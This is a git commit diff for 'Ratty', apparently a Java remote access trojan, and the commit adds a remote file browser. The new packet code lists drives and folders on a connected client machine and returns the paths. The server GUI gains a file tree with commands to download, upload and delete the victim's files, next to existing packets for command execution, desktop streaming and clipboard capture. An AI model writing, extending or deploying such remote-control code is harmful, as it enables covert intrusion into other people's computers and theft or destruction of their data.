Browse Source

Major changes

Added file browser
Started to clean up
master
Sogomn 9 years ago
parent
commit
bcd9f841f5
  1. BIN
      Ratty/res/gui_icon.png
  2. BIN
      Ratty/res/menu_icons.png
  3. BIN
      Ratty/res/menu_icons_tree.png
  4. 1
      Ratty/src/de/sogomn/rat/Ratty.java
  5. 96
      Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java
  6. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  7. 5
      Ratty/src/de/sogomn/rat/packet/PopupPacket.java
  8. 6
      Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java
  9. 142
      Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java
  10. 4
      Ratty/src/de/sogomn/rat/server/gui/IGuiController.java
  11. 18
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  12. 91
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
  13. 5
      Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

BIN
Ratty/res/gui_icon.png

Before

Width: 16  |  Height: 16  |  Size: 162 B

After

Width: 16  |  Height: 16  |  Size: 164 B

BIN
Ratty/res/menu_icons.png

Before

Width: 48  |  Height: 48  |  Size: 601 B

After

Width: 48  |  Height: 48  |  Size: 618 B

BIN
Ratty/res/menu_icons_tree.png

After

Width: 48  |  Height: 32  |  Size: 469 B

1
Ratty/src/de/sogomn/rat/Ratty.java

@ -33,6 +33,7 @@ public final class Ratty {
defaults.put("Table:\"Table.cellRenderer\".background", new Color(50, 50, 50));
defaults.put("Table.alternateRowColor", new Color(75, 75, 75));
defaults.put("TextField.foreground", Color.BLACK);
defaults.put("Tree.background", Color.GRAY);
try {
UIManager.setLookAndFeel(nimbus);

96
Ratty/src/de/sogomn/rat/packet/FileSystemPacket.java

@ -0,0 +1,96 @@
package de.sogomn.rat.packet;
import java.io.File;
import java.util.ArrayList;
import java.util.stream.Stream;
import de.sogomn.rat.ActiveClient;
public class FileSystemPacket extends AbstractPingPongPacket {
private String rootFile;
private String[] paths;
private static final byte INCOMING = 0;
private static final byte END = 1;
public FileSystemPacket(final String rootFile) {
this.rootFile = rootFile;
type = REQUEST;
paths = new String[0];
}
public FileSystemPacket() {
this("");
type = DATA;
}
@Override
protected void sendRequest(final ActiveClient client) {
client.writeUTF(rootFile);
}
@Override
protected void sendData(final ActiveClient client) {
for (final String path : paths) {
client.writeByte(INCOMING);
client.writeUTF(path);
}
client.writeByte(END);
}
@Override
protected void receiveRequest(final ActiveClient client) {
rootFile = client.readUTF();
}
@Override
protected void receiveData(final ActiveClient client) {
final ArrayList<String> pathList = new ArrayList<String>();
while (client.readByte() == INCOMING) {
final String path = client.readUTF();
pathList.add(path);
}
paths = new String[pathList.size()];
paths = pathList.toArray(paths);
}
@Override
protected void executeRequest(final ActiveClient client) {
final File[] children;
if (!rootFile.isEmpty()) {
final File file = new File(rootFile);
children = file.listFiles();
} else {
children = File.listRoots();
}
if (children != null) {
paths = Stream
.of(children)
.map(File::getAbsolutePath)
.toArray(String[]::new);
}
type = DATA;
client.addPacket(this);
}
@Override
protected void executeData(final ActiveClient client) {
//...
}
public String[] getPaths() {
return paths;
}
}

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -10,7 +10,8 @@ public enum PacketType {
INFORMATION(5, InformationPacket.class),
COMMAND(6, CommandPacket.class),
DESKTOP(7, DesktopStreamPacket.class),
CLIPBOARD(8, ClipboardPacket.class);
CLIPBOARD(8, ClipboardPacket.class),
FILE(9, FileSystemPacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

5
Ratty/src/de/sogomn/rat/packet/PopupPacket.java

@ -1,5 +1,7 @@
package de.sogomn.rat.packet;
import java.awt.image.BufferedImage;
import javax.swing.JDialog;
import javax.swing.JOptionPane;
@ -11,6 +13,8 @@ public final class PopupPacket implements IPacket {
private String message;
private static final BufferedImage NO_IMAGE = new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB);
public PopupPacket(final String message) {
this.message = message;
}
@ -34,6 +38,7 @@ public final class PopupPacket implements IPacket {
final JOptionPane optionPane = new JOptionPane(message);
final JDialog dialog = optionPane.createDialog(null);
dialog.setIconImage(NO_IMAGE);
dialog.setModal(false);
dialog.setVisible(true);
}

6
Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java

@ -14,6 +14,8 @@ public final class DisplayPanel {
private Screen screen;
private BufferedImage image;
private IGuiController controller;
private static final int SCREEN_WIDTH = 1920 / 2;
private static final int SCREEN_HEIGHT = 1080 / 2;
@ -74,4 +76,8 @@ public final class DisplayPanel {
openScreen(screenWidth, screenHeight);
}
public void setController(final IGuiController controller) {
this.controller = controller;
}
}

142
Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java

@ -1,11 +1,25 @@
package de.sogomn.rat.server.gui;
import java.awt.Dimension;
import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import java.io.File;
import javax.swing.Icon;
import javax.swing.ImageIcon;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JMenuItem;
import javax.swing.JPopupMenu;
import javax.swing.JScrollPane;
import javax.swing.JTree;
import javax.swing.tree.DefaultMutableTreeNode;
import javax.swing.tree.TreeNode;
import javax.swing.tree.TreePath;
import de.sogomn.engine.fx.SpriteSheet;
public final class FileTreePanel {
@ -13,26 +27,96 @@ public final class FileTreePanel {
private DefaultMutableTreeNode root;
private JTree tree;
private DefaultMutableTreeNode lastNodeClicked;
private JScrollPane scrollPane;
private JPopupMenu menu;
private IGuiController controller;
private static final String ROOT_NAME = "Drives";
private static final int DEFAULT_WIDTH = 500;
private static final int DEFAULT_HEIGHT = 500;
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons_tree.png", 16, 16).getSprites();
public static final String REQUEST = "Show content";
public static final String DOWNLOAD = "Download file";
public static final String UPLOAD = "Upload file";
public static final String DELETE = "Delete file";
public static final String NEW_FOLDER = "New folder";
public static final String[] COMMANDS = {
REQUEST,
DOWNLOAD,
UPLOAD,
DELETE,
NEW_FOLDER
};
public FileTreePanel() {
dialog = new JDialog();
root = new DefaultMutableTreeNode(ROOT_NAME);
tree = new JTree(root);
scrollPane = new JScrollPane(tree, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_AS_NEEDED);
menu = new JPopupMenu();
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = COMMANDS[i];
final ImageIcon icon = new ImageIcon(MENU_ICONS[i]);
addMenuItem(command, icon);
}
final MouseAdapter mouseAdapter = new MouseAdapter() {
@Override
public void mousePressed(final MouseEvent m) {
final int x = m.getX();
final int y = m.getY();
final TreePath path = tree.getPathForLocation(x, y);
tree.setSelectionPath(path);
if (path != null) {
lastNodeClicked = (DefaultMutableTreeNode)path.getLastPathComponent();
} else {
lastNodeClicked = null;
}
}
};
scrollPane.setBorder(null);
tree.addMouseListener(mouseAdapter);
tree.setEditable(false);
tree.setBorder(null);
tree.setComponentPopupMenu(menu);
dialog.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
dialog.setPreferredSize(new Dimension(DEFAULT_WIDTH, DEFAULT_HEIGHT));
dialog.setContentPane(tree);
dialog.setContentPane(scrollPane);
dialog.pack();
dialog.setLocationByPlatform(true);
}
private void addMenuItem(final String name, final Icon icon) {
final JMenuItem item = new JMenuItem(name);
item.setActionCommand(name);
item.addActionListener(this::menuItemClicked);
item.setIcon(icon);
menu.add(item);
}
private void menuItemClicked(final ActionEvent a) {
if (controller == null) {
return;
}
final String command = a.getActionCommand();
controller.userInput(command);
}
private DefaultMutableTreeNode[] getChildren(final DefaultMutableTreeNode node) {
final int childCount = node.getChildCount();
final DefaultMutableTreeNode[] children = new DefaultMutableTreeNode[childCount];
@ -46,7 +130,7 @@ public final class FileTreePanel {
return children;
}
private DefaultMutableTreeNode getChild(final DefaultMutableTreeNode node, final String name) {
private DefaultMutableTreeNode getByName(final DefaultMutableTreeNode node, final String name) {
final DefaultMutableTreeNode[] children = getChildren(node);
for (final DefaultMutableTreeNode child : children) {
@ -66,7 +150,7 @@ public final class FileTreePanel {
}
final String name = path[0];
final DefaultMutableTreeNode node = getChild(start, name);
final DefaultMutableTreeNode node = getByName(start, name);
if (path.length == 1 || node == null) {
return node;
@ -78,19 +162,19 @@ public final class FileTreePanel {
return getByName(node, remainingPath);
}
private void addAll(final DefaultMutableTreeNode start, final String[] path) {
private void addAll(final DefaultMutableTreeNode root, final String[] path) {
if (path.length == 0) {
return;
}
final String name = path[0];
DefaultMutableTreeNode node = getChild(start, name);
DefaultMutableTreeNode node = getByName(root, name);
if (node == null) {
node = new DefaultMutableTreeNode(name);
start.add(node);
root.add(node);
}
final String[] remainingPath = new String[path.length - 1];
@ -103,6 +187,12 @@ public final class FileTreePanel {
addAll(root, path);
}
public void addFile(final String path) {
final String[] pathParts = path.split("\\" + File.separator);
addFile(pathParts);
}
public void removeFile(final String... path) {
final DefaultMutableTreeNode node = getByName(root, path);
@ -111,6 +201,12 @@ public final class FileTreePanel {
}
}
public void removeFile(final String path) {
final String[] pathParts = path.split("\\" + File.separator);
removeFile(pathParts);
}
public void clear() {
root.removeAllChildren();
}
@ -119,4 +215,36 @@ public final class FileTreePanel {
dialog.setVisible(state);
}
public void setController(final IGuiController controller) {
this.controller = controller;
}
public DefaultMutableTreeNode getLastNodeClicked() {
return lastNodeClicked;
}
public String getLastPathClicked() {
if (lastNodeClicked == null) {
return "";
}
final TreeNode[] parents = lastNodeClicked.getPath();
final StringBuilder stringBuilder = new StringBuilder();
for (final TreeNode node : parents) {
final DefaultMutableTreeNode parent = (DefaultMutableTreeNode)node;
final String name = (String)parent.getUserObject();
stringBuilder.append(name + File.separator);
}
final String path = stringBuilder.toString();
if (path.startsWith(ROOT_NAME + File.separator)) {
return path.substring(ROOT_NAME.length() + 1);
} else {
return path;
}
}
}

4
Ratty/src/de/sogomn/rat/server/gui/IGuiController.java

@ -4,4 +4,8 @@ public interface IGuiController {
void userInput(final String actionCommand);
void keyboardInput(final int key, final boolean flag);
void mouseInput(final int x, final int y, final int button, final boolean flag);
}

18
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -5,6 +5,7 @@ import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage;
import java.util.ArrayList;
import javax.swing.Icon;
import javax.swing.ImageIcon;
@ -40,7 +41,10 @@ public final class RattyGui {
"Streaming"
};
private static final BufferedImage GUI_ICON = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png");
private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128);
private static final ArrayList<BufferedImage> GUI_ICONS = new ArrayList<BufferedImage>(3);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 16, 16).getSprites();
public static final String POPUP = "Open popup";
@ -63,6 +67,12 @@ public final class RattyGui {
FREE
};
static {
GUI_ICONS.add(GUI_ICON_SMALL);
GUI_ICONS.add(GUI_ICON_MEDIUM);
GUI_ICONS.add(GUI_ICON_LARGE);
}
public RattyGui() {
frame = new JFrame();
table = new JTable();
@ -81,9 +91,9 @@ public final class RattyGui {
@Override
public void mousePressed(final MouseEvent m) {
final Point mousePoint = m.getPoint();
final int row = table.rowAtPoint(mousePoint);
final int rowIndex = table.rowAtPoint(mousePoint);
lastIdClicked = (Long)tableModel.getValueAt(row, 0);
lastIdClicked = (Long)tableModel.getValueAt(rowIndex, 0);
}
};
@ -97,7 +107,7 @@ public final class RattyGui {
frame.setContentPane(scrollPane);
frame.pack();
frame.setLocationByPlatform(true);
frame.setIconImage(GUI_ICON);
frame.setIconImages(GUI_ICONS);
frame.setVisible(true);
frame.requestFocus();
}

91
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -8,6 +8,7 @@ import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.DesktopStreamPacket;
import de.sogomn.rat.packet.FileSystemPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
@ -52,7 +53,7 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return null;
}
private IPacket getPacket(final String command) {
private IPacket getPacket(final String command, final ServerClient serverClient) {
if (command == RattyGui.POPUP) {
return PopupPacket.create();
} else if (command == RattyGui.FREE) {
@ -65,49 +66,86 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return new DesktopStreamPacket(true);
} else if (command == RattyGui.CLIPBOARD) {
return new ClipboardPacket();
} else if (command == FileTreePanel.REQUEST) {
final String path = serverClient.getTreePanel().getLastPathClicked();
final FileSystemPacket packet = new FileSystemPacket(path);
return packet;
}
return null;
}
private void handle(final ServerClient serverClient, final ScreenshotPacket packet) {
final BufferedImage image = packet.getImage();
serverClient.getDisplayPanel().showImage(image);
}
private void handle(final ServerClient serverClient, final DesktopStreamPacket packet) {
final IFrame frame = packet.getFrame();
final int screenWidth = packet.getScreenWidth();
final int screenHeight = packet.getScreenHeight();
final DesktopStreamPacket request = new DesktopStreamPacket();
final DisplayPanel displayPanel = serverClient.getDisplayPanel();
displayPanel.showFrame(frame, screenWidth, screenHeight);
serverClient.client.addPacket(request);
}
private void handle(final ServerClient serverClient, final FileSystemPacket packet) {
final String[] paths = packet.getPaths();
final FileTreePanel treePanel = serverClient.getTreePanel();
for (final String path : paths) {
treePanel.addFile(path);
}
}
private void handle(final ServerClient serverClient, final InformationPacket packet) {
final long id = serverClient.id;
final String name = packet.getName();
final String address = serverClient.client.getAddress();
final String os = packet.getOs();
final String version = packet.getVersion();
serverClient.logIn(name, os, version);
serverClient.setController(this);
gui.addTableRow(id, name, address, os, version);
}
@Override
public void packetReceived(final ActiveClient client, final IPacket packet) {
final ServerClient serverClient = getServerClient(client);
final boolean loggedIn = serverClient.isLoggedIn();
if (serverClient.isLoggedIn()) {
if (loggedIn) {
if (packet instanceof ScreenshotPacket) {
final ScreenshotPacket screenshot = (ScreenshotPacket)packet;
final BufferedImage image = screenshot.getImage();
serverClient.getDisplayPanel().showImage(image);
handle(serverClient, screenshot);
} else if (packet instanceof DesktopStreamPacket && serverClient.isStreamingDesktop()) {
final DesktopStreamPacket stream = (DesktopStreamPacket)packet;
final IFrame frame = stream.getFrame();
final int screenWidth = stream.getScreenWidth();
final int screenHeight = stream.getScreenHeight();
final DesktopStreamPacket request = new DesktopStreamPacket();
serverClient.getDisplayPanel().showFrame(frame, screenWidth, screenHeight);
client.addPacket(request);
handle(serverClient, stream);
} else if (packet instanceof FileSystemPacket) {
final FileSystemPacket file = (FileSystemPacket)packet;
handle(serverClient, file);
} else {
packet.execute(client);
}
} else if (packet instanceof InformationPacket) {
final InformationPacket information = (InformationPacket)packet;
final long id = serverClient.id;
final String name = information.getName();
final String address = client.getAddress();
final String os = information.getOs();
final String version = information.getVersion();
serverClient.logIn(name, os, version);
gui.addTableRow(id, name, address, os, version);
handle(serverClient, information);
}
}
@Override
public void disconnected(final ActiveClient client) {
final long id = getServerClient(client).id;
final ServerClient serverClient = getServerClient(client);
final long id = serverClient.id;
client.setObserver(null);
client.close();
@ -137,11 +175,10 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
public void userInput(final String command) {
final long lastIdClicked = gui.getLastIdClicked();
final ServerClient serverClient = getServerClient(lastIdClicked);
final ActiveClient client = serverClient.client;
final IPacket packet = getPacket(command);
final IPacket packet = getPacket(command, serverClient);
if (packet != null) {
client.addPacket(packet);
serverClient.client.addPacket(packet);
}
if (command == RattyGui.DESKTOP) {
@ -150,7 +187,19 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
} else if (command == RattyGui.DESKTOP_STOP) {
serverClient.setStreamingDesktop(false);
gui.setStreaming(lastIdClicked, false);
} else if (command == RattyGui.FILES) {
serverClient.getTreePanel().setVisible(true);
}
}
@Override
public void keyboardInput(final int key, final boolean flag) {
//...
}
@Override
public void mouseInput(final int x, final int y, final int button, final boolean flag) {
//...
}
}

5
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -35,6 +35,11 @@ public final class ServerClient {
this.streamingDesktop = streamingDesktop;
}
public void setController(final IGuiController controller) {
displayPanel.setController(controller);
treePanel.setController(controller);
}
public String getName() {
return name;
}

Loading…
Cancel
Save